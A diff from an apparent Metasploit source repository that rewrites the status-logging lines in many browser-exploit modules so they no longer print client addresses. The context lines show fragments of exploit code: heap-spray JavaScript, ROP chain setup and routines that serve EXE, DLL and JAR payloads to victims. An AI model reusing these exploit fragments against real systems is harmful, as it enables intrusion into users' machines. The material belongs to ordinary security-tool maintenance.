</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
send_response_html(cli, content)
|
||||
|
||||
|
||||
@@ -108,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
content = Rex::Text.randomize_space(content)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -142,7 +142,7 @@ Please wait...
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
send_response_html(cli, content)
|
||||
|
||||
|
||||
@@ -87,7 +87,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
|
||||
js.obfuscate
|
||||
html = "<html>\n\t<script>#{js}\t</script>\n</html>"
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
send_response_html(cli, html)
|
||||
end
|
||||
end
|
||||
|
||||
@@ -110,7 +110,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
if request.uri.match(/nsepa/)
|
||||
print_status("Sending nsepa.ocx to #{cli.peerhost}")
|
||||
print_status("Sending nsepa.ocx")
|
||||
send_response(cli, @ocx, { 'Content-Type' => 'application/binary' })
|
||||
return
|
||||
end
|
||||
@@ -195,7 +195,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
end
|
||||
|
||||
add_resource({'Path' => "/epaq", 'Proc' => proc}) rescue nil
|
||||
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}")
|
||||
print_status("Sending #{self.name} HTML")
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||
end
|
||||
end
|
||||
|
||||
@@ -89,7 +89,7 @@ var #{strname} = new String('#{sploit}');
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Randomize the whitespace in the document
|
||||
content = Rex::Text.randomize_space(content)
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -77,12 +77,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
if my_target.nil?
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} - Browser not supported: #{agent.to_s}")
|
||||
print_error("Browser not supported: #{agent.to_s}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} - Target set: #{my_target.name}")
|
||||
print_status("Target set: #{my_target.name}")
|
||||
|
||||
p = payload.encoded
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(target.arch))
|
||||
@@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("#{cli.peerhost}:#{cli.peerport} - Sending html")
|
||||
print_status("Sending HTML")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
|
||||
end
|
||||
|
||||
@@ -106,7 +106,7 @@ shell.execute("BATNAME");
|
||||
zip.add_file("header.xml", hdrxml)
|
||||
data = zip.pack
|
||||
|
||||
print_status("Sending file.dxstudio payload to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending file.dxstudio payload")
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
|
||||
# Handle the payload
|
||||
@@ -129,7 +129,7 @@ Please wait...
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} HTML")
|
||||
# Transmit the compressed response to the client
|
||||
html.gsub!(/DXURL/, payload_url)
|
||||
send_response(cli, html, { 'Content-Type' => 'text/html' })
|
||||
|
||||
@@ -108,7 +108,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -103,7 +103,7 @@ for (#{var_i} = 0; #{var_i} < 1324; #{var_i}++) { #{rand8} = #{rand8} + unescape
|
||||
|
||||
content = Rex::Text.randomize_space(content)
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending exploit...")
|
||||
|
||||
send_response_html(cli, content)
|
||||
|
||||
|
||||
@@ -73,7 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
if (request.uri.match(/payload/))
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_exe({ :code => p.encoded })
|
||||
print_status("Sending EXE payload to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending EXE payload")
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
@@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
send_response_html(cli, content)
|
||||
|
||||
|
||||
@@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -95,7 +95,7 @@ while (#{rand1}.length <= 261) #{rand1} = #{rand1} + unescape('#{filler}');
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -95,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
if (request.uri.match(/\.dll$/i))
|
||||
|
||||
print_status("Sending DLL to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending .NET DLL")
|
||||
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
|
||||
@@ -120,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
return
|
||||
end
|
||||
|
||||
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name} HTML")
|
||||
|
||||
j_function = rand_text_alpha(rand(100)+1)
|
||||
j_url = rand_text_alpha(rand(100)+1)
|
||||
|
||||
@@ -96,8 +96,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
unless request['User-Agent'] =~ /MSIE/
|
||||
print_error("Sending 404 for unknown user-agent")
|
||||
send_not_found(cli)
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -135,7 +135,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
send_response_html(cli, content)
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
@@ -101,8 +101,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
def on_request_uri(cli, request)
|
||||
|
||||
unless request['User-Agent'] =~ /MSIE/
|
||||
print_error("Sending 404 for unknown user-agent")
|
||||
send_not_found(cli)
|
||||
print_error("#{cli.peerhost}:#{cli.peerport} Unknown user-agent")
|
||||
return
|
||||
end
|
||||
|
||||
@@ -154,7 +154,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
EOS
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
send_response_html(cli, content)
|
||||
handler(cli)
|
||||
end
|
||||
|
||||
@@ -98,7 +98,7 @@ function check()
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -84,7 +84,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -111,7 +111,7 @@ while (#{j_ret}.length < #{offset}) #{j_ret} += #{j_ret};
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -127,7 +127,7 @@ for(#{j_counter}=0;#{j_counter}<=#{offset};#{j_counter}++)#{j_ret}+=unescape('#{
|
||||
</html>|
|
||||
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# ROP chain generated by mona.py - See corelan.be
|
||||
case t['Rop']
|
||||
when :jre
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Using JRE ROP")
|
||||
print_status("Using JRE ROP")
|
||||
exec_size = 0xffffffff - code.length + 1
|
||||
rop =
|
||||
[
|
||||
@@ -175,12 +175,12 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
# Avoid the attack if the victim doesn't have the same setup we're targeting
|
||||
if my_target.nil?
|
||||
print_error("#{cli.peerhost.ljust(16)} #{self.shortname} Browser not supported: #{agent.to_s}")
|
||||
print_error("Browser not supported: #{agent}")
|
||||
send_not_found(cli)
|
||||
return
|
||||
end
|
||||
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Client requesting: #{request.uri}")
|
||||
print_status("Client requesting: #{request.uri}")
|
||||
|
||||
p = get_payload(my_target, cli)
|
||||
js_code = Rex::Text.to_unescape(p, Rex::Arch.endian(my_target.arch))
|
||||
@@ -235,7 +235,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
|
||||
html = html.gsub(/^\t\t/, '')
|
||||
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending html")
|
||||
print_status("Sending html")
|
||||
send_response(cli, html, {'Content-Type'=>'text/html'})
|
||||
end
|
||||
|
||||
|
||||
@@ -27,6 +27,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => [ 'MC' ],
|
||||
'Version' => '$Revision$',
|
||||
|
||||
'References' =>
|
||||
[
|
||||
[ 'CVE', '2009-0215' ],
|
||||
@@ -113,7 +114,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
|
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -123,7 +123,7 @@ try {
|
||||
</html>
|
||||
EOF
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -126,7 +126,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
if (request.uri.match(/payload/))
|
||||
return if ((p = regenerate_payload(cli)) == nil)
|
||||
data = generate_payload_exe({ :code => p.encoded })
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending EXE payload")
|
||||
print_status("Sending EXE payload")
|
||||
send_response(cli, data, { 'Content-Type' => 'application/octet-stream' })
|
||||
return
|
||||
end
|
||||
@@ -260,7 +260,7 @@ function #{var_func_exploit}( ) {
|
||||
|
||||
content = Rex::Text.randomize_space(content)
|
||||
|
||||
print_status("#{cli.peerhost.ljust(16)} #{self.shortname} Sending exploit HTML...")
|
||||
print_status("Sending exploit HTML...")
|
||||
|
||||
|
||||
# Transmit the response to the client
|
||||
|
||||
@@ -92,7 +92,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
# Insert the shellcode
|
||||
content.gsub!('__pattern__', pattern)
|
||||
|
||||
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, content)
|
||||
|
||||
@@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
var_strmConv = rand_text_alpha(rand(5)+5);
|
||||
|
||||
p = regenerate_payload(cli);
|
||||
print_status("Request received from #{cli.peerhost}:#{cli.peerport}...");
|
||||
print_status("Request received for #{request.uri}");
|
||||
exe = generate_payload_exe({ :code => p.encoded })
|
||||
#print_status("Building vbs file...");
|
||||
# Build the content that will end up in the .vbs file
|
||||
@@ -148,7 +148,7 @@ var #{var_fsobj_file} = #{var_fsobj}.OpenTextFile(#{var_writedir} + "\\\\" + "#{
|
||||
//</script></html>
|
||||
|
|
||||
|
||||
print_status("Sending exploit html/javascript to #{cli.peerhost}:#{cli.peerport}...");
|
||||
print_status("Sending exploit html/javascript");
|
||||
print_status("Exe will be #{var_exename}.exe and must be manually removed from the %TEMP% directory on the target.");
|
||||
|
||||
# Transmit the response to the client
|
||||
|
||||
@@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
html << "\n<object classid='clsid:E589DA78-AD4C-4FC5-B6B9-9E47B110679E' id='#{vname}'></object>"
|
||||
html << "\n\t<script>#{js}\n\t</script>\n</html>"
|
||||
|
||||
print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
# Transmit the response to the client
|
||||
send_response_html(cli, html)
|
||||
|
||||
@@ -238,8 +238,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
||||
</html>
|
||||
EOF
|
||||
|
||||
peer = "#{cli.peerhost.ljust(16)} #{self.shortname}"
|
||||
print_status("#{peer} Sending HTML...")
|
||||
print_status("Sending #{self.name}")
|
||||
|
||||
#Remove the extra tabs from content
|
||||
content = content.gsub(/^\t\t/, '')
|
||||
|
||||
@@ -119,7 +119,7 @@ EOS
|
||||
dir = [ Msf::Config.data_directory, "exploits", "cve-2010-3563" ]
|
||||
jar = p.encoded_jar
|
||||
jar.add_files(paths, dir)
|
||||
print_status("Sending Jar file to #{cli.peerhost}:#{cli.peerport}...")
|
||||
print_status("Sending Jar")
|
||||
send_response(cli, jar.pack, { 'Content-Type' => "application/octet-stream" })
|
||||
handler(cli)
|
||||
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user